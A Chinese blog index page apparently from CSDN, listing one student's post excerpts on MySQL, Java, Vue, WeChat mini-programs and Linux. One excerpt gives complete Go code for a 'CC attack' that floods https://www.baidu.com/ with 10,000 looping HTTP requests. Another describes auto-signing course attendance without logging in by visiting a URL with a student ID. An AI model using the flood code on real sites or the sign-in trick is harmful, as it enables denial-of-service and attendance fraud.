- 博客(69)
- 资源 (1)
- 收藏
- 关注
转载 隐藏索引和降序索引
在MySQL4.0中虽然在语法上就支持创建降序索引,但是InnoDB在底层的实现中依旧依旧是通过升序的方式进行索引的构架(无论是升序索引还是降序索引都是按照升序进行索引构建),在具体的实现上通过反向扫描的方式进行实现,但是这样就会大大降低数据库效率,在MySQL8.0中支持了降序索引的构建,即底层的索引结构就是按照索引列的降序进行排列的。...
2022-08-10 23:49:12 326 1
转载 InnoDB数据存储结构
页a、页b、页c …页n这些页可以不在物理结构上相连,只要通过双向链表逻辑相关联即可。每个数据页中的记录会按照主键值从小到大的顺序组成一个单向链表,每个数据页都会为存储在它里边的记录生成一个页目录,在通过主键查找某条记录的时候可以在页目录中使用二分法快速定位到对应的槽,然后再遍历该槽对应分组中的记录即可快速找到指定的记录。...
2022-08-07 17:51:36 771
原创 datagrip驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client preferences [TLS12]”datagrip更改驱动即可解决
2022-06-16 14:31:10 1159 1
原创 用golang实现简单的cc攻击
package mainimport ( "net/http" "sync")var wg sync.WaitGroupfunc cc(url string) { for true { http.Get(url) }}func main() { wg.Add(4) for i := 0; i < 10000; i++ { go cc("https://www.baidu.com/") } wg.Wait()}
2022-03-25 11:54:27 843
原创 vue组件简单总结
全局组件简单示例// 定义一个名为 mybutton 的新组件Vue.component('mybutton',{ template:'<button>mybtn<button>'})局部组件示例// 定义一个名为 mybutton 的新组件new Vue({ el:"#app", components:{ 'mybutton':{ template:'<button>mybtn<button>' } }})组件:因
2021-11-17 15:42:20 296
原创 数据库 达内cbg day01
sql,用来操作数据库的语言,一种标准结构化查询语言DML(Data Manipulation Langue)数据库操纵语言DDL(Data Defination Langue)数据定义语言DCL数据控制语言DQL数据查询语言数据库常用操作建库创建数据库,数据库名称:cgb2022create database cgb2022 DEFAULT CHARACTER SET utf8;删库删除名称是cgb2022的数据库drop database cgb2022;查看所有数据库查
2021-10-29 17:45:01 339
原创 注解、反射、单列设计模式 达内cbg day17
注解:注解很厉害,它可以增强我们的java代码,同时利用反射技术可以扩充实现很多功能。它们被广泛应用于三大框架底层。注解的分类JDK自带注解@Override :用来标识重写方法@Deprecated标记就表明这个方法已经过时了,但我就要用,别提示我过期@SuppressWarnings(“deprecation”) 忽略警告@SafeVarargs jdk1.7出现,堆污染,不常用@FunctionallInterface jdk1.8出现,配合函数式编程拉姆达表达式,不常用元注解用来
2021-10-27 19:06:01 301
原创 达内cbg day16
电脑的操作系统 OS进程: 谷歌 IDEA线程:如果有一个线程:单线程程序如果有多个线程:多线程程序CPU:核心处理器‘串行与并行串行是指同一时刻一个CPU只能处理一件事,类似于单车道并行是指同一时刻多个CPU可以处理多件事,类似于多车道我们控制不了OS的时间片分配OS有自己的算法,比如FCFS SJS线程的三态模型多线程安全问题是如何出现的?常见情况是由于线程的随机性+访问延迟。如何判断程序有没有线程安全?在多线程程序中+有共享数据+多条语句操作共享数据同步:体现了
2021-10-26 19:06:41 200
原创 微信小程序云函数请求接口
微信小程序的请求数据方式小程序端云函数发送方法wx.request({})下载第三方ajax库(request)协议支持只支持https根据第三方库决定是否备案经过ICP备案可以不备案域名个数20个无限制开发云函数获取“豆瓣”电影列表-创建云函数movielist3-点击movielist3鼠标右键->打开终端#注意下面命令有顺序npm install --save requestnpm install --save reque
2021-10-25 19:14:21 1372
原创 达内cbg day15
ArrayList底层是数组结构,查询快,增删慢,适合查询较多的场景LinkedList底层是链表结构,查询慢,增删快,适合增删操作比较多的场景注意:LinkedList查询慢是指查询数据量大时,查询中间要慢,首尾操作还是比较快的ArrayList1.List接口的实现类2.底层的结构是数组,内存空间是连续的3.元素有下标,有序,允许存放重复的数据4.通常进行的是根据下标进行的操作5.增删操作慢,查询操作比较快LinkedList1.List接口的实现类2.底层的结构是链表,内存空间是
2021-10-25 19:11:31 150
原创 java序列化与反序列化、foreach循环、泛型 达内cbg day14
初识序列化与反序列化序列化:ObjectOutputStream用于对象的输出writeObject(),保存对象的各项信息反序列化:ObjectInputStream用于对象的读取readObject(),把之前序列化输出的数据,在程序中重新恢复成对象注意:1.如果一个类的对象想要被序列化,那么这个类必须实现可序列化接口2.必须先序列化,再反序列化,并且一次序列化对应一次反序列化3.反序列化时持有的UID必须与序列化目标类Student的UID一样,否则报错4.反序列化时的文件路径必须与
2021-10-22 09:34:25 317
原创 小程序引入vant第三方库
小程序引入vant第三方库有赞官方网址https://vant-contrib.gitee.io/vant-weapp/#/home(1)创建项目描述文件package.json右击miniprogram目录->选中在终端打开输入命令npm init回车 回车(2)通过npm安装vant第三方组件库右击miniprogram目录->选中在终端打开通过 npm 安装 npm i @vant/weapp -S --production通过 yarn 安装 yarn add @va
2021-10-21 19:21:54 240
原创 微信小程序云函数、云存储
小程序云开发-云函数云函数:特殊函数将其保存小程序云上云函数功能有很多优点:权限高完成复杂操作演示三个实例(1)求和云函数sum()(2)获取当前登录用户openid(3)批量删除云数据库中数据(ES7语法)小程序云开发-云函数-求和函数#注意事项:开发云函数要求本地下载安装nodejs v8.0以上(1)开发工具 coludfunctions鼠标右键->新建云函数(2)云函数名称 sum(3)打开index.js(4)添加云函数代码exports.main = async
2021-10-20 20:08:46 1132
原创 java正则表达式、包装类、文件io流 达内cbg day12
正则表达式String提供了支持正则表达式的方法Matches(正则) : 当前字符串能否匹配正则表达式replaceAll(正则,子串) : 替换子串split(正则) : 拆分字符串练习:测试输入身份证号创建包: cn.tedu.api创建类: TestRegex.javapackage cn.tedu.api;import java.util.Scanner;public class TestRegex2 { public static void main(String
2021-10-20 19:40:07 375
原创 异常 达内cgb day09
Throwable:顶级父类–Error:错误,程序无法处理–Exception:我们可以编码修复的错误----RunTimeException–运行时异常抽象类1 概念Java中可以定义被abstract关键字修饰的方法,这种方法只有声明,没有方法体,叫做抽象方法.Java中可以定义被abstract关键字修饰的类,被abstract关键字修饰的类叫做抽象类如果一个类含有抽象方法,那么它一定是抽象类抽象类中的方法实现交给子类来完成2 特点abstract 可以修饰方法或者类被abs
2021-10-20 16:32:38 194
转载 java包装类的作用
一、什么是包装类包装类(Wrapper Class): Java是一个面向对象的编程语言,但是Java中的八种基本数据类型却是不面向对象的,为了使用方便和解决这个不足,在设计类时为每个基本数据类型设计了一个对应的类进行代表,这样八种基本数据类型对应的类统称为包装类(Wrapper Class),包装类均位于java.lang包。二、包装类的用途为了使用方便Java中将8中基本数据类型进行了封装:除了Integer和Character类以后,其它六个类的类名和基本数据类型一直,只是类名的第一个字母大写即
2021-10-20 15:38:43 741
原创 微信小程序操作云数据库
微信公众平台–小程序操作云数据库–插入(1)通过控制台:创建集合web(2)初始化默认云数据库const db = wx.cloud.database();(3)向集合中添加新记录db.collection("集合名称").add({data:{name:"文华",age:60},success:function(res){},fail:function(){}})微信公众平台–小程序操作云数据库–更新db.collection("集合名称").doc("当前记录id").upd
2021-10-19 20:09:51 970 1
原创 java String 达内cbg day11
ObjecthashCode():默认实现:根据对象的地址值生成一个唯一的哈希码值toString():默认实现:打印对象的【类名+十六进制的哈希码值】–重写后:Student自定义类打印的是类型+所有属性和属性值equals():默认实现:比较两个对象的地址值,默认使用==比较–重写后:比较的是两个对象的类型+所有属性和属性值综上:如果执行的效果和Object的默认效果不同,说明子类重写了该方法Stringpackage cn.tedu.api;import java.util.Arr
2021-10-19 19:02:19 311
原创 java接口 达内cbg day10
/*静态资源属于类资源,在哪个类定义,就作为这个类的资源使用,不存在重写的现象这里只是恰巧在父子类中出现了两个一模一样的方法*///@Override 非重写方法加注解会报错父类引用指向子类对象使用的方法是父类的声明,子类的方法体接口编写顺序:1.创建接口Inter–父接口2.创建接口的实现类InterImpl – 子实现类3.创建测试类进行测试package cn.tedu.inter;/*通过interface定义接口*/public interface Inter {
2021-10-18 17:34:41 284
原创 vue入门 day03
1.组件何时:发现页面中有一个区域可能被反复使用,都要定义成组件如何:1.创建Vue.component("组件名",{ //el:"选择器", template://将来会反复复制多个和这里一模一样的html片段,所以将这一份标准的片段成为模板 ,组件的元素必须用唯一的父元素包裹 //data:{ ... }, data(){ return{ //模型变量 } }, methods:{ ... },
2021-10-14 19:52:31 1295
原创 继承、多态 达内cbg day08
静态:1.static可以修饰属性和方法2.被static修饰的资源称为静态资源3.静态资源随着类的加载而加载,最先加载,优先于对象进行加载4.静态资源可以通过类名直接调用5.静态被全局所有对象共享,值只有一份6.静态资源只能调用静态资源7.静态区域内不允许使用this与super关键字...
2021-10-14 16:06:36 107
原创 vue入门 day02
1. 双向绑定: 什么是单向绑定: 只能将程序中的修改更新到页面中。但是无法将页面中的更改,更新回程序中。 只能从Model -> View 不能从View -> Model 比如: {{}} v-text : 等等 都是单向绑定 比如: <input :value="变量" 结果: 变量中的值可正常显示在文本框中
2021-10-13 19:50:58 138
原创 构造函数 继承 达内cbg day07
构造函数:格式:与本类类名同名,且没有返回值类型作用:创建对象,创建一次,就执行一次狗咱函数分类1)无参构造:默认存在,如果添加了其他构造,默认的构造函数会被覆盖2)含参构造:对于参数没有任何要求,有参数就行3)全参构造:全参构造的参数必须与本类属性一致全参构造不仅可以创建对象,还可以给对象的所有属性赋值。构造代码块:1.位置:类里方法外2.执行时机:每次创建对象时都会执行构造代码块,并且构造代码块优先构造方法执行作用:用于提取所有构造方法夫人共性功能局部代码块:1.位置:方法里
2021-10-13 17:57:35 114
原创 达内tts自动签到
在浏览器登录达内tts之后访问接口https://tts.tmooc.cn/seriesClassVideo/getChartParam获得6位数字的账号id将下面网址最后6位数字改为自己的账号idhttps://tts.tmooc.cn/studentCenter/studentSign?studentClaId=815245然后复制到浏览器即可免登录直接签到可将此链接放到服务器中每天自动访问,即可实现每日自动签到...
2021-10-12 13:07:21 1454 10
原创 java面向对象 达内cbg day06
面向对象:强调的是结果面向过程:凡事亲力亲为类:抽象的,类似于类型,我们可以将其理解成一类事物的模板对象:是具体的,是根据类具体创造出来的事物数据结构:1.数组2.队列:先进先出FIFO3.栈:后进先出LIFO...
2021-10-12 13:03:57 176
原创 VUE入门day01
1.什么是VUE:VUE是渐进式的基于MVVM设计模式的纯前的JS框架渐进式:可以在项目中逐步使用VUE的功能,也可以和其他技术混搭。vs 全家桶:要使用,就必须使用全套所有技术。且不能和其他技术混搭。框架:原生DOM vs JQuery函数库 vs VUE框架dom纯手工,更复杂jquery写更少的代码,完成更多的事框架:彻底简化了步骤,无需人工干预VUE只适合于数据操作为主的项目2.MVVM设计模式传统前端划分:HTML:专门保存网页内容和结构的文档CSS:专门定义网页样式的文档
2021-10-11 20:13:54 400 1
原创 数组 达内cbg day05
复习代码package cn.tedu.review;public class ForDemo { public static void main(String[] args) { //需求1:向控制台打印9个! for (int i = 0; i < 9; i++) { System.out.print("!"); } System.out.println(); //需求2:打印0-
2021-10-11 10:37:31 263
原创 运算符、分支结构 达内cgb day03
5条字面值规则整数默认为int类型小数默认为double类型byte short char 三种比int小的类型,可以使用范围内的值直接赋值字面值后缀:L F D字面值前缀:0b-2 0-8 0x-165条运算规则运算结果的数据类型与最大类型保持一致3种比int小的类型,运算时会自动提升成int再运算整数运算溢出的问题,一旦溢出,数据就错误了浮点数运算不精确浮点数的特殊值 Infinity NaN2.取余%:取余数,如果整除。余数为03.自增自减运算符4.比较运算符!= ==
2021-10-08 14:43:49 147 1
原创 javase变量、基本类型 达内大数据day02
入坑第二天type 类型mismatch 不匹配练习: 输入个人信息创建包: cn.tedu.basic创建类: TestInfo.java需求: 在控制台打印: java架构师今年20岁,月薪100000.99,感慨java是世界上最好的语言package cn.tedu.basic;/**本类用于完成个人信息输出案例*/public class TestInfo { //1.添加程序的入口函数main Alt+/补全代码 public static void main(Stri
2021-09-30 17:13:50 230
原创 入门 达内大数据day01
入坑第一天1.笔记在哪里 CSDN2.代码在哪里3.计算机分为硬件系统与软件系统4.软件系统分为系统软件与应用软件5.我们是面向互联网架构开发的后端开发工程师,负责软件或者网站的开发6.我们目前主要学习的开发语言是JAVA7.人机交互的方式:图形化界面 命令行界面8.软件的获取方式9.环境的准备10.eclipse使用的版本没有关系,JDK是1.8就行computer 计算机software 软件directory 文件夹/目录workspace 工作空间:用来存代码的文件夹1.笔记在哪里
2021-09-29 16:56:57 1067
原创 2021-01-09
自动执行函数delimiter \\drop PROCEDURE if EXISTS proc_while1;CREATE PROCEDURE proc_while1()BEGIN DECLARE num,i,currentday INT ; SET num = (select count(rday) from user) ; set i = 1; WHILE i <= num DO set currentday = (SELECT ...
2021-01-09 12:46:24 79
原创 javaweb跨域filter*错误
通过自定义filter跨域package filter;import java.io.IOException;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.S
2020-08-11 11:08:33 203
原创 学习Linux centos7的一些笔记
man ping 详细文档ping -h 帮助文档二、常用系统工作命令 1.echo命令 格式“echo [字符串|$变量]” 2.date命令 按照默认格式查看:date 按照“年-月-日 时:分:秒”格式查看:date "+%Y-%m-%d %H:%M:%S" 设置系统时间:date -s "20170901 8:30:00" 3.reboot命令 重启 4.poweroff命...
2020-06-19 19:05:01 711
原创 作业1、添加两块硬盘,第1块硬盘分两个区,均为主分区,第1个分区大小,文件系统类型自选,第2个分区为交换分区。
1、添加两块硬盘,第1块硬盘分两个区,均为主分区,第1个分区大小,文件系统类型自选,第2个分区为交换分区。 fdisk /dev/sdb p //查询 n //分区 p //主分区 1 //编号1号 +2GB //2GB n //分区 p //主分区 2 //编号 回车 +5GB P //查询 w //写入、退出 /...
2020-04-01 21:53:03 2270
原创 第6章笔记 存储结构与磁盘划分
6.1 一切从‘/’开始 Linux 系统中常见的目录名称以及相应内容 目录名称 应放置文件的内容 /boot 开机所需文件—内核、开机菜单以及所需配置文件等 /dev 以文件形式存放任何设备与接口 /etc 配置文件 /home 用户家目录 /bin 存放单用户模式下还可以操作的命令 /lib 开机时用到的函数库,以...
2020-04-01 21:39:54 173
原创 VMware 将虚拟磁盘多个文件合并为单个文件
为了将拆分的vmdk文件合并为一个,您需要使用vmware-vdiskmanager命令。请打开命令提示符和CD到vmdk文件所在的目录。假设您具有以下vmdk文件:vmdkname.vmdkvmdkname-s001.vmdkvmdkname-s002.vmdkvmdkname-s003.vmdk…然后合并到单个vmdk文件中。打开命令提示符并运行以下命令“ C:\ Program...
2020-03-23 14:22:36 8786 1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人